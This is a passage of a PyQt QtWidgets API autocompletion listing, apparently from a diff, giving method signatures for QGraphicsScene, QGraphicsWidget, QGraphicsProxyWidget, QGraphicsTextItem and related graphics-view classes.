+QtWidgets.QGraphicsPixmapItem.ShapeMode.HeuristicMaskShape?10 +QtWidgets.QGraphicsPixmapItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsPixmapItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsPixmapItem?1(QPixmap, QGraphicsItem parent=None) +QtWidgets.QGraphicsPixmapItem.__init__?1(self, QPixmap, QGraphicsItem parent=None) +QtWidgets.QGraphicsPixmapItem.pixmap?4() -> QPixmap +QtWidgets.QGraphicsPixmapItem.setPixmap?4(QPixmap) +QtWidgets.QGraphicsPixmapItem.transformationMode?4() -> Qt.TransformationMode +QtWidgets.QGraphicsPixmapItem.setTransformationMode?4(Qt.TransformationMode) +QtWidgets.QGraphicsPixmapItem.offset?4() -> QPointF +QtWidgets.QGraphicsPixmapItem.setOffset?4(QPointF) +QtWidgets.QGraphicsPixmapItem.setOffset?4(float, float) +QtWidgets.QGraphicsPixmapItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsPixmapItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsPixmapItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsPixmapItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget) +QtWidgets.QGraphicsPixmapItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsPixmapItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsPixmapItem.type?4() -> int +QtWidgets.QGraphicsPixmapItem.shapeMode?4() -> QGraphicsPixmapItem.ShapeMode +QtWidgets.QGraphicsPixmapItem.setShapeMode?4(QGraphicsPixmapItem.ShapeMode) +QtWidgets.QGraphicsSimpleTextItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsSimpleTextItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsSimpleTextItem?1(QString, QGraphicsItem parent=None) +QtWidgets.QGraphicsSimpleTextItem.__init__?1(self, QString, QGraphicsItem parent=None) +QtWidgets.QGraphicsSimpleTextItem.setText?4(QString) +QtWidgets.QGraphicsSimpleTextItem.text?4() -> QString +QtWidgets.QGraphicsSimpleTextItem.setFont?4(QFont) +QtWidgets.QGraphicsSimpleTextItem.font?4() -> QFont +QtWidgets.QGraphicsSimpleTextItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsSimpleTextItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsSimpleTextItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsSimpleTextItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget) +QtWidgets.QGraphicsSimpleTextItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsSimpleTextItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsSimpleTextItem.type?4() -> int +QtWidgets.QGraphicsItemGroup?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsItemGroup.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsItemGroup.addToGroup?4(QGraphicsItem) +QtWidgets.QGraphicsItemGroup.removeFromGroup?4(QGraphicsItem) +QtWidgets.QGraphicsItemGroup.boundingRect?4() -> QRectF +QtWidgets.QGraphicsItemGroup.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsItemGroup.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsItemGroup.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsItemGroup.type?4() -> int +QtWidgets.QGraphicsObject?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsObject.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsObject.grabGesture?4(Qt.GestureType, Qt.GestureFlags flags=Qt.GestureFlags()) +QtWidgets.QGraphicsObject.ungrabGesture?4(Qt.GestureType) +QtWidgets.QGraphicsObject.parentChanged?4() +QtWidgets.QGraphicsObject.opacityChanged?4() +QtWidgets.QGraphicsObject.visibleChanged?4() +QtWidgets.QGraphicsObject.enabledChanged?4() +QtWidgets.QGraphicsObject.xChanged?4() +QtWidgets.QGraphicsObject.yChanged?4() +QtWidgets.QGraphicsObject.zChanged?4() +QtWidgets.QGraphicsObject.rotationChanged?4() +QtWidgets.QGraphicsObject.scaleChanged?4() +QtWidgets.QGraphicsObject.updateMicroFocus?4() +QtWidgets.QGraphicsObject.event?4(QEvent) -> bool +QtWidgets.QGraphicsTextItem?1(QGraphicsItem parent=None) +QtWidgets.QGraphicsTextItem.__init__?1(self, QGraphicsItem parent=None) +QtWidgets.QGraphicsTextItem?1(QString, QGraphicsItem parent=None) +QtWidgets.QGraphicsTextItem.__init__?1(self, QString, QGraphicsItem parent=None) +QtWidgets.QGraphicsTextItem.toHtml?4() -> QString +QtWidgets.QGraphicsTextItem.setHtml?4(QString) +QtWidgets.QGraphicsTextItem.toPlainText?4() -> QString +QtWidgets.QGraphicsTextItem.setPlainText?4(QString) +QtWidgets.QGraphicsTextItem.font?4() -> QFont +QtWidgets.QGraphicsTextItem.setFont?4(QFont) +QtWidgets.QGraphicsTextItem.setDefaultTextColor?4(QColor) +QtWidgets.QGraphicsTextItem.defaultTextColor?4() -> QColor +QtWidgets.QGraphicsTextItem.boundingRect?4() -> QRectF +QtWidgets.QGraphicsTextItem.shape?4() -> QPainterPath +QtWidgets.QGraphicsTextItem.contains?4(QPointF) -> bool +QtWidgets.QGraphicsTextItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget) +QtWidgets.QGraphicsTextItem.isObscuredBy?4(QGraphicsItem) -> bool +QtWidgets.QGraphicsTextItem.opaqueArea?4() -> QPainterPath +QtWidgets.QGraphicsTextItem.type?4() -> int +QtWidgets.QGraphicsTextItem.setTextWidth?4(float) +QtWidgets.QGraphicsTextItem.textWidth?4() -> float +QtWidgets.QGraphicsTextItem.adjustSize?4() +QtWidgets.QGraphicsTextItem.setDocument?4(QTextDocument) +QtWidgets.QGraphicsTextItem.document?4() -> QTextDocument +QtWidgets.QGraphicsTextItem.setTextInteractionFlags?4(Qt.TextInteractionFlags) +QtWidgets.QGraphicsTextItem.textInteractionFlags?4() -> Qt.TextInteractionFlags +QtWidgets.QGraphicsTextItem.setTabChangesFocus?4(bool) +QtWidgets.QGraphicsTextItem.tabChangesFocus?4() -> bool +QtWidgets.QGraphicsTextItem.setOpenExternalLinks?4(bool) +QtWidgets.QGraphicsTextItem.openExternalLinks?4() -> bool +QtWidgets.QGraphicsTextItem.setTextCursor?4(QTextCursor) +QtWidgets.QGraphicsTextItem.textCursor?4() -> QTextCursor +QtWidgets.QGraphicsTextItem.linkActivated?4(QString) +QtWidgets.QGraphicsTextItem.linkHovered?4(QString) +QtWidgets.QGraphicsTextItem.sceneEvent?4(QEvent) -> bool +QtWidgets.QGraphicsTextItem.mousePressEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsTextItem.mouseMoveEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsTextItem.mouseReleaseEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsTextItem.mouseDoubleClickEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsTextItem.contextMenuEvent?4(QGraphicsSceneContextMenuEvent) +QtWidgets.QGraphicsTextItem.keyPressEvent?4(QKeyEvent) +QtWidgets.QGraphicsTextItem.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QGraphicsTextItem.focusInEvent?4(QFocusEvent) +QtWidgets.QGraphicsTextItem.focusOutEvent?4(QFocusEvent) +QtWidgets.QGraphicsTextItem.dragEnterEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsTextItem.dragLeaveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsTextItem.dragMoveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsTextItem.dropEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsTextItem.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QGraphicsTextItem.hoverEnterEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsTextItem.hoverMoveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsTextItem.hoverLeaveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsTextItem.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QGraphicsLinearLayout?1(QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsLinearLayout.__init__?1(self, QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsLinearLayout?1(Qt.Orientation, QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsLinearLayout.__init__?1(self, Qt.Orientation, QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsLinearLayout.setOrientation?4(Qt.Orientation) +QtWidgets.QGraphicsLinearLayout.orientation?4() -> Qt.Orientation +QtWidgets.QGraphicsLinearLayout.addItem?4(QGraphicsLayoutItem) +QtWidgets.QGraphicsLinearLayout.addStretch?4(int stretch=1) +QtWidgets.QGraphicsLinearLayout.insertItem?4(int, QGraphicsLayoutItem) +QtWidgets.QGraphicsLinearLayout.insertStretch?4(int, int stretch=1) +QtWidgets.QGraphicsLinearLayout.removeItem?4(QGraphicsLayoutItem) +QtWidgets.QGraphicsLinearLayout.removeAt?4(int) +QtWidgets.QGraphicsLinearLayout.setSpacing?4(float) +QtWidgets.QGraphicsLinearLayout.spacing?4() -> float +QtWidgets.QGraphicsLinearLayout.setItemSpacing?4(int, float) +QtWidgets.QGraphicsLinearLayout.itemSpacing?4(int) -> float +QtWidgets.QGraphicsLinearLayout.setStretchFactor?4(QGraphicsLayoutItem, int) +QtWidgets.QGraphicsLinearLayout.stretchFactor?4(QGraphicsLayoutItem) -> int +QtWidgets.QGraphicsLinearLayout.setAlignment?4(QGraphicsLayoutItem, Qt.Alignment) +QtWidgets.QGraphicsLinearLayout.alignment?4(QGraphicsLayoutItem) -> Qt.Alignment +QtWidgets.QGraphicsLinearLayout.setGeometry?4(QRectF) +QtWidgets.QGraphicsLinearLayout.count?4() -> int +QtWidgets.QGraphicsLinearLayout.itemAt?4(int) -> QGraphicsLayoutItem +QtWidgets.QGraphicsLinearLayout.invalidate?4() +QtWidgets.QGraphicsLinearLayout.sizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsWidget?1(QGraphicsItem parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QGraphicsWidget.__init__?1(self, QGraphicsItem parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QGraphicsWidget.layout?4() -> QGraphicsLayout +QtWidgets.QGraphicsWidget.setLayout?4(QGraphicsLayout) +QtWidgets.QGraphicsWidget.adjustSize?4() +QtWidgets.QGraphicsWidget.layoutDirection?4() -> Qt.LayoutDirection +QtWidgets.QGraphicsWidget.setLayoutDirection?4(Qt.LayoutDirection) +QtWidgets.QGraphicsWidget.unsetLayoutDirection?4() +QtWidgets.QGraphicsWidget.style?4() -> QStyle +QtWidgets.QGraphicsWidget.setStyle?4(QStyle) +QtWidgets.QGraphicsWidget.font?4() -> QFont +QtWidgets.QGraphicsWidget.setFont?4(QFont) +QtWidgets.QGraphicsWidget.palette?4() -> QPalette +QtWidgets.QGraphicsWidget.setPalette?4(QPalette) +QtWidgets.QGraphicsWidget.resize?4(QSizeF) +QtWidgets.QGraphicsWidget.resize?4(float, float) +QtWidgets.QGraphicsWidget.size?4() -> QSizeF +QtWidgets.QGraphicsWidget.setGeometry?4(QRectF) +QtWidgets.QGraphicsWidget.rect?4() -> QRectF +QtWidgets.QGraphicsWidget.setContentsMargins?4(QMarginsF) +QtWidgets.QGraphicsWidget.setContentsMargins?4(float, float, float, float) +QtWidgets.QGraphicsWidget.getContentsMargins?4() -> (float, float, float, float) +QtWidgets.QGraphicsWidget.setWindowFrameMargins?4(QMarginsF) +QtWidgets.QGraphicsWidget.setWindowFrameMargins?4(float, float, float, float) +QtWidgets.QGraphicsWidget.getWindowFrameMargins?4() -> (float, float, float, float) +QtWidgets.QGraphicsWidget.unsetWindowFrameMargins?4() +QtWidgets.QGraphicsWidget.windowFrameGeometry?4() -> QRectF +QtWidgets.QGraphicsWidget.windowFrameRect?4() -> QRectF +QtWidgets.QGraphicsWidget.windowFlags?4() -> Qt.WindowFlags +QtWidgets.QGraphicsWidget.windowType?4() -> Qt.WindowType +QtWidgets.QGraphicsWidget.setWindowFlags?4(Qt.WindowFlags) +QtWidgets.QGraphicsWidget.isActiveWindow?4() -> bool +QtWidgets.QGraphicsWidget.setWindowTitle?4(QString) +QtWidgets.QGraphicsWidget.windowTitle?4() -> QString +QtWidgets.QGraphicsWidget.focusPolicy?4() -> Qt.FocusPolicy +QtWidgets.QGraphicsWidget.setFocusPolicy?4(Qt.FocusPolicy) +QtWidgets.QGraphicsWidget.setTabOrder?4(QGraphicsWidget, QGraphicsWidget) +QtWidgets.QGraphicsWidget.focusWidget?4() -> QGraphicsWidget +QtWidgets.QGraphicsWidget.grabShortcut?4(QKeySequence, Qt.ShortcutContext context=Qt.WindowShortcut) -> int +QtWidgets.QGraphicsWidget.releaseShortcut?4(int) +QtWidgets.QGraphicsWidget.setShortcutEnabled?4(int, bool enabled=True) +QtWidgets.QGraphicsWidget.setShortcutAutoRepeat?4(int, bool enabled=True) +QtWidgets.QGraphicsWidget.addAction?4(QAction) +QtWidgets.QGraphicsWidget.addActions?4(unknown-type) +QtWidgets.QGraphicsWidget.insertAction?4(QAction, QAction) +QtWidgets.QGraphicsWidget.insertActions?4(QAction, unknown-type) +QtWidgets.QGraphicsWidget.removeAction?4(QAction) +QtWidgets.QGraphicsWidget.actions?4() -> unknown-type +QtWidgets.QGraphicsWidget.setAttribute?4(Qt.WidgetAttribute, bool on=True) +QtWidgets.QGraphicsWidget.testAttribute?4(Qt.WidgetAttribute) -> bool +QtWidgets.QGraphicsWidget.type?4() -> int +QtWidgets.QGraphicsWidget.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsWidget.paintWindowFrame?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtWidgets.QGraphicsWidget.boundingRect?4() -> QRectF +QtWidgets.QGraphicsWidget.shape?4() -> QPainterPath +QtWidgets.QGraphicsWidget.setGeometry?4(float, float, float, float) +QtWidgets.QGraphicsWidget.close?4() -> bool +QtWidgets.QGraphicsWidget.initStyleOption?4(QStyleOption) +QtWidgets.QGraphicsWidget.sizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsWidget.updateGeometry?4() +QtWidgets.QGraphicsWidget.itemChange?4(QGraphicsItem.GraphicsItemChange, QVariant) -> QVariant +QtWidgets.QGraphicsWidget.sceneEvent?4(QEvent) -> bool +QtWidgets.QGraphicsWidget.windowFrameEvent?4(QEvent) -> bool +QtWidgets.QGraphicsWidget.windowFrameSectionAt?4(QPointF) -> Qt.WindowFrameSection +QtWidgets.QGraphicsWidget.event?4(QEvent) -> bool +QtWidgets.QGraphicsWidget.changeEvent?4(QEvent) +QtWidgets.QGraphicsWidget.closeEvent?4(QCloseEvent) +QtWidgets.QGraphicsWidget.focusInEvent?4(QFocusEvent) +QtWidgets.QGraphicsWidget.focusNextPrevChild?4(bool) -> bool +QtWidgets.QGraphicsWidget.focusOutEvent?4(QFocusEvent) +QtWidgets.QGraphicsWidget.hideEvent?4(QHideEvent) +QtWidgets.QGraphicsWidget.moveEvent?4(QGraphicsSceneMoveEvent) +QtWidgets.QGraphicsWidget.polishEvent?4() +QtWidgets.QGraphicsWidget.resizeEvent?4(QGraphicsSceneResizeEvent) +QtWidgets.QGraphicsWidget.showEvent?4(QShowEvent) +QtWidgets.QGraphicsWidget.hoverMoveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsWidget.hoverLeaveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsWidget.grabMouseEvent?4(QEvent) +QtWidgets.QGraphicsWidget.ungrabMouseEvent?4(QEvent) +QtWidgets.QGraphicsWidget.grabKeyboardEvent?4(QEvent) +QtWidgets.QGraphicsWidget.ungrabKeyboardEvent?4(QEvent) +QtWidgets.QGraphicsWidget.autoFillBackground?4() -> bool +QtWidgets.QGraphicsWidget.setAutoFillBackground?4(bool) +QtWidgets.QGraphicsWidget.geometryChanged?4() +QtWidgets.QGraphicsProxyWidget?1(QGraphicsItem parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QGraphicsProxyWidget.__init__?1(self, QGraphicsItem parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QGraphicsProxyWidget.setWidget?4(QWidget) +QtWidgets.QGraphicsProxyWidget.widget?4() -> QWidget +QtWidgets.QGraphicsProxyWidget.subWidgetRect?4(QWidget) -> QRectF +QtWidgets.QGraphicsProxyWidget.setGeometry?4(QRectF) +QtWidgets.QGraphicsProxyWidget.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget) +QtWidgets.QGraphicsProxyWidget.type?4() -> int +QtWidgets.QGraphicsProxyWidget.createProxyForChildWidget?4(QWidget) -> QGraphicsProxyWidget +QtWidgets.QGraphicsProxyWidget.itemChange?4(QGraphicsItem.GraphicsItemChange, QVariant) -> QVariant +QtWidgets.QGraphicsProxyWidget.event?4(QEvent) -> bool +QtWidgets.QGraphicsProxyWidget.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QGraphicsProxyWidget.showEvent?4(QShowEvent) +QtWidgets.QGraphicsProxyWidget.hideEvent?4(QHideEvent) +QtWidgets.QGraphicsProxyWidget.contextMenuEvent?4(QGraphicsSceneContextMenuEvent) +QtWidgets.QGraphicsProxyWidget.hoverEnterEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsProxyWidget.hoverLeaveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsProxyWidget.hoverMoveEvent?4(QGraphicsSceneHoverEvent) +QtWidgets.QGraphicsProxyWidget.grabMouseEvent?4(QEvent) +QtWidgets.QGraphicsProxyWidget.ungrabMouseEvent?4(QEvent) +QtWidgets.QGraphicsProxyWidget.mouseMoveEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsProxyWidget.mousePressEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsProxyWidget.mouseReleaseEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsProxyWidget.mouseDoubleClickEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsProxyWidget.wheelEvent?4(QGraphicsSceneWheelEvent) +QtWidgets.QGraphicsProxyWidget.keyPressEvent?4(QKeyEvent) +QtWidgets.QGraphicsProxyWidget.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QGraphicsProxyWidget.focusInEvent?4(QFocusEvent) +QtWidgets.QGraphicsProxyWidget.focusOutEvent?4(QFocusEvent) +QtWidgets.QGraphicsProxyWidget.focusNextPrevChild?4(bool) -> bool +QtWidgets.QGraphicsProxyWidget.sizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsProxyWidget.resizeEvent?4(QGraphicsSceneResizeEvent) +QtWidgets.QGraphicsProxyWidget.dragEnterEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsProxyWidget.dragLeaveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsProxyWidget.dragMoveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsProxyWidget.dropEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsProxyWidget.newProxyWidget?4(QWidget) -> QGraphicsProxyWidget +QtWidgets.QGraphicsProxyWidget.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QGraphicsProxyWidget.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QGraphicsScene.SceneLayer?10 +QtWidgets.QGraphicsScene.SceneLayer.ItemLayer?10 +QtWidgets.QGraphicsScene.SceneLayer.BackgroundLayer?10 +QtWidgets.QGraphicsScene.SceneLayer.ForegroundLayer?10 +QtWidgets.QGraphicsScene.SceneLayer.AllLayers?10 +QtWidgets.QGraphicsScene.ItemIndexMethod?10 +QtWidgets.QGraphicsScene.ItemIndexMethod.BspTreeIndex?10 +QtWidgets.QGraphicsScene.ItemIndexMethod.NoIndex?10 +QtWidgets.QGraphicsScene?1(QObject parent=None) +QtWidgets.QGraphicsScene.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsScene?1(QRectF, QObject parent=None) +QtWidgets.QGraphicsScene.__init__?1(self, QRectF, QObject parent=None) +QtWidgets.QGraphicsScene?1(float, float, float, float, QObject parent=None) +QtWidgets.QGraphicsScene.__init__?1(self, float, float, float, float, QObject parent=None) +QtWidgets.QGraphicsScene.sceneRect?4() -> QRectF +QtWidgets.QGraphicsScene.width?4() -> float +QtWidgets.QGraphicsScene.height?4() -> float +QtWidgets.QGraphicsScene.setSceneRect?4(QRectF) +QtWidgets.QGraphicsScene.setSceneRect?4(float, float, float, float) +QtWidgets.QGraphicsScene.render?4(QPainter, QRectF target=QRectF(), QRectF source=QRectF(), Qt.AspectRatioMode mode=Qt.KeepAspectRatio) +QtWidgets.QGraphicsScene.itemIndexMethod?4() -> QGraphicsScene.ItemIndexMethod +QtWidgets.QGraphicsScene.setItemIndexMethod?4(QGraphicsScene.ItemIndexMethod) +QtWidgets.QGraphicsScene.itemsBoundingRect?4() -> QRectF +QtWidgets.QGraphicsScene.items?4(Qt.SortOrder order=Qt.DescendingOrder) -> unknown-type +QtWidgets.QGraphicsScene.items?4(QPointF, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape, Qt.SortOrder order=Qt.DescendingOrder, QTransform deviceTransform=QTransform()) -> unknown-type +QtWidgets.QGraphicsScene.items?4(QRectF, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape, Qt.SortOrder order=Qt.DescendingOrder, QTransform deviceTransform=QTransform()) -> unknown-type +QtWidgets.QGraphicsScene.items?4(QPolygonF, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape, Qt.SortOrder order=Qt.DescendingOrder, QTransform deviceTransform=QTransform()) -> unknown-type +QtWidgets.QGraphicsScene.items?4(QPainterPath, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape, Qt.SortOrder order=Qt.DescendingOrder, QTransform deviceTransform=QTransform()) -> unknown-type +QtWidgets.QGraphicsScene.items?4(float, float, float, float, Qt.ItemSelectionMode, Qt.SortOrder, QTransform deviceTransform=QTransform()) -> unknown-type +QtWidgets.QGraphicsScene.collidingItems?4(QGraphicsItem, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> unknown-type +QtWidgets.QGraphicsScene.selectedItems?4() -> unknown-type +QtWidgets.QGraphicsScene.setSelectionArea?4(QPainterPath, QTransform) +QtWidgets.QGraphicsScene.setSelectionArea?4(QPainterPath, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape, QTransform deviceTransform=QTransform()) +QtWidgets.QGraphicsScene.clearSelection?4() +QtWidgets.QGraphicsScene.createItemGroup?4(unknown-type) -> QGraphicsItemGroup +QtWidgets.QGraphicsScene.destroyItemGroup?4(QGraphicsItemGroup) +QtWidgets.QGraphicsScene.addItem?4(QGraphicsItem) +QtWidgets.QGraphicsScene.addEllipse?4(QRectF, QPen pen=QPen(), QBrush brush=QBrush()) -> QGraphicsEllipseItem +QtWidgets.QGraphicsScene.addEllipse?4(float, float, float, float, QPen pen=QPen(), QBrush brush=QBrush()) -> QGraphicsEllipseItem +QtWidgets.QGraphicsScene.addLine?4(QLineF, QPen pen=QPen()) -> QGraphicsLineItem +QtWidgets.QGraphicsScene.addLine?4(float, float, float, float, QPen pen=QPen()) -> QGraphicsLineItem +QtWidgets.QGraphicsScene.addPath?4(QPainterPath, QPen pen=QPen(), QBrush brush=QBrush()) -> QGraphicsPathItem +QtWidgets.QGraphicsScene.addPixmap?4(QPixmap) -> QGraphicsPixmapItem +QtWidgets.QGraphicsScene.addPolygon?4(QPolygonF, QPen pen=QPen(), QBrush brush=QBrush()) -> QGraphicsPolygonItem +QtWidgets.QGraphicsScene.addRect?4(QRectF, QPen pen=QPen(), QBrush brush=QBrush()) -> QGraphicsRectItem +QtWidgets.QGraphicsScene.addRect?4(float, float, float, float, QPen pen=QPen(), QBrush brush=QBrush()) -> QGraphicsRectItem +QtWidgets.QGraphicsScene.addSimpleText?4(QString, QFont font=QFont()) -> QGraphicsSimpleTextItem +QtWidgets.QGraphicsScene.addText?4(QString, QFont font=QFont()) -> QGraphicsTextItem +QtWidgets.QGraphicsScene.removeItem?4(QGraphicsItem) +QtWidgets.QGraphicsScene.focusItem?4() -> QGraphicsItem +QtWidgets.QGraphicsScene.setFocusItem?4(QGraphicsItem, Qt.FocusReason focusReason=Qt.OtherFocusReason) +QtWidgets.QGraphicsScene.hasFocus?4() -> bool +QtWidgets.QGraphicsScene.setFocus?4(Qt.FocusReason focusReason=Qt.OtherFocusReason) +QtWidgets.QGraphicsScene.clearFocus?4() +QtWidgets.QGraphicsScene.mouseGrabberItem?4() -> QGraphicsItem +QtWidgets.QGraphicsScene.backgroundBrush?4() -> QBrush +QtWidgets.QGraphicsScene.setBackgroundBrush?4(QBrush) +QtWidgets.QGraphicsScene.foregroundBrush?4() -> QBrush +QtWidgets.QGraphicsScene.setForegroundBrush?4(QBrush) +QtWidgets.QGraphicsScene.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QGraphicsScene.views?4() -> unknown-type +QtWidgets.QGraphicsScene.advance?4() +QtWidgets.QGraphicsScene.update?4(QRectF rect=QRectF()) +QtWidgets.QGraphicsScene.invalidate?4(QRectF rect=QRectF(), QGraphicsScene.SceneLayers layers=QGraphicsScene.AllLayers) +QtWidgets.QGraphicsScene.clear?4() +QtWidgets.QGraphicsScene.changed?4(unknown-type) +QtWidgets.QGraphicsScene.sceneRectChanged?4(QRectF) +QtWidgets.QGraphicsScene.selectionChanged?4() +QtWidgets.QGraphicsScene.event?4(QEvent) -> bool +QtWidgets.QGraphicsScene.contextMenuEvent?4(QGraphicsSceneContextMenuEvent) +QtWidgets.QGraphicsScene.dragEnterEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsScene.dragMoveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsScene.dragLeaveEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsScene.dropEvent?4(QGraphicsSceneDragDropEvent) +QtWidgets.QGraphicsScene.focusInEvent?4(QFocusEvent) +QtWidgets.QGraphicsScene.focusOutEvent?4(QFocusEvent) +QtWidgets.QGraphicsScene.helpEvent?4(QGraphicsSceneHelpEvent) +QtWidgets.QGraphicsScene.keyPressEvent?4(QKeyEvent) +QtWidgets.QGraphicsScene.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QGraphicsScene.mousePressEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsScene.mouseMoveEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsScene.mouseReleaseEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsScene.mouseDoubleClickEvent?4(QGraphicsSceneMouseEvent) +QtWidgets.QGraphicsScene.wheelEvent?4(QGraphicsSceneWheelEvent) +QtWidgets.QGraphicsScene.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QGraphicsScene.drawBackground?4(QPainter, QRectF) +QtWidgets.QGraphicsScene.drawForeground?4(QPainter, QRectF) +QtWidgets.QGraphicsScene.bspTreeDepth?4() -> int +QtWidgets.QGraphicsScene.setBspTreeDepth?4(int) +QtWidgets.QGraphicsScene.selectionArea?4() -> QPainterPath +QtWidgets.QGraphicsScene.update?4(float, float, float, float) +QtWidgets.QGraphicsScene.addWidget?4(QWidget, Qt.WindowFlags flags=Qt.WindowFlags()) -> QGraphicsProxyWidget +QtWidgets.QGraphicsScene.style?4() -> QStyle +QtWidgets.QGraphicsScene.setStyle?4(QStyle) +QtWidgets.QGraphicsScene.font?4() -> QFont +QtWidgets.QGraphicsScene.setFont?4(QFont) +QtWidgets.QGraphicsScene.palette?4() -> QPalette +QtWidgets.QGraphicsScene.setPalette?4(QPalette) +QtWidgets.QGraphicsScene.activeWindow?4() -> QGraphicsWidget +QtWidgets.QGraphicsScene.setActiveWindow?4(QGraphicsWidget) +QtWidgets.QGraphicsScene.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QGraphicsScene.focusNextPrevChild?4(bool) -> bool +QtWidgets.QGraphicsScene.setStickyFocus?4(bool) +QtWidgets.QGraphicsScene.stickyFocus?4() -> bool +QtWidgets.QGraphicsScene.itemAt?4(QPointF, QTransform) -> QGraphicsItem +QtWidgets.QGraphicsScene.itemAt?4(float, float, QTransform) -> QGraphicsItem +QtWidgets.QGraphicsScene.isActive?4() -> bool +QtWidgets.QGraphicsScene.activePanel?4() -> QGraphicsItem +QtWidgets.QGraphicsScene.setActivePanel?4(QGraphicsItem) +QtWidgets.QGraphicsScene.sendEvent?4(QGraphicsItem, QEvent) -> bool +QtWidgets.QGraphicsScene.invalidate?4(float, float, float, float, QGraphicsScene.SceneLayers layers=QGraphicsScene.AllLayers) +QtWidgets.QGraphicsScene.minimumRenderSize?4() -> float +QtWidgets.QGraphicsScene.setMinimumRenderSize?4(float) +QtWidgets.QGraphicsScene.focusItemChanged?4(QGraphicsItem, QGraphicsItem, Qt.FocusReason) +QtWidgets.QGraphicsScene.setSelectionArea?4(QPainterPath, Qt.ItemSelectionOperation, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape, QTransform deviceTransform=QTransform()) 